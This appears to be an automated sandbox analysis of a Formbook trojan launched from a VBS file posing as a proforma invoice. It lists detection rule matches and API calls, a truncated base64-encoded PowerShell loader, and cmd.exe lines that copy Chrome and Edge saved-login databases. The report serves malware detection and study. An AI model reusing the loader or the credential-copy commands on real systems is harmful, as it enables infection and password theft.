Source: 00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.6865229521.00000000035B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1740, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: ielowutil.exe PID: 8008, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: rundll32.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0706EAF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07ED3628
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07ED360D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_08560040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_08560006
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92EE8
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF59ED2
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF50EAD
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEE2E48
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC0E50
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF51FC6
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5EFBF
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5FF63
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEACF00
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFCE0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF27CE8
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF6ACEB
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB8CDF
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF39C98
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3C60
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5EC60
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF56C69
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4EC4C
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEAAC20
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE90C12
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF3FDF4
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA9DD0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB2DB0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0D69
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF57D4C
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5FD27
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AD00
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFAA0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5FA89
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5EA5B
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5CA13
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14BC0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5FB2E
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEDDB19
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0B10
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF578F3
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA28C0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF518DA
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF198B2
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB6882
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE86868
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF15870
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5F872
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA9870
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBB870
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40835
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3800
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECE810
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEE59C0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9E9A0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5E9A6
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5F6F6
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9C6E0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF136EC
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5A6C0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0680
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC4670
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4D646
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF3D62C
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBC600
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA2760
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEAA760
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF56757
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0D480
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0445
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF575C6
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5F5C9
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF6A526
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8D2EC
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5124C
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE91380
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5F330
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEAE310
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF570F1
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEAB0D0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE900A0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED508C
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4E076
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBB1E0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA51C0
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEE717A
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF3D130
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF6010E
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8F113
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_02EBDEAE

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: String function: 1EF0E692 appears 86 times
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: String function: 1EF1EF10 appears 105 times
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: String function: 1EEE7BE4 appears 96 times
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: String function: 1EE8B910 appears 268 times
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: String function: 1EED5050 appears 36 times

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2ED0 NtResumeThread,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2E50 NtCreateSection,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2F00 NtCreateFile,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2CF0 NtDelayExecution,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2C50 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2C30 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2D10 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2A80 NtClose,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2BC0 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2B90 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED29F0 NtReadFile,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED34E0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2EC0 NtQuerySection,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2EB0 NtProtectVirtualMemory,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2E80 NtCreateProcessEx,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2E00 NtQueueApcThread,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2FB0 NtSetValueKey,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2F30 NtOpenDirectoryObject,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2CD0 NtEnumerateKey,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED3C90 NtOpenThread,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2C20 NtSetInformationFile,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED3C30 NtOpenProcessToken,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2C10 NtOpenProcess,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2DA0 NtReadVirtualMemory,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2D50 NtWriteVirtualMemory,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2AC0 NtEnumerateValueKey,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2AA0 NtQueryInformationFile,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2A10 NtWriteFile,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2BE0 NtQueryVirtualMemory,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2B80 NtCreateKey,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2B20 NtQueryInformationProcess,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2B00 NtQueryValueKey,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED2B10 NtAllocateVirtualMemory,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED38D0 NtGetContextThread,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED29D0 NtWaitForSingleObject,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED4570 NtSuspendThread,
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED4260 NtSetContextThread,

Source: Unclear Proforma Invoice.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: edgegdi.dll
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: edgegdi.dll
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: edgegdi.dll

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBA75.tmp" "c:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe C:\Program Files (x86)\internet explorer\ielowutil.exe
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\internet explorer\ielowutil.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\internet explorer\ielowutil.exe"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
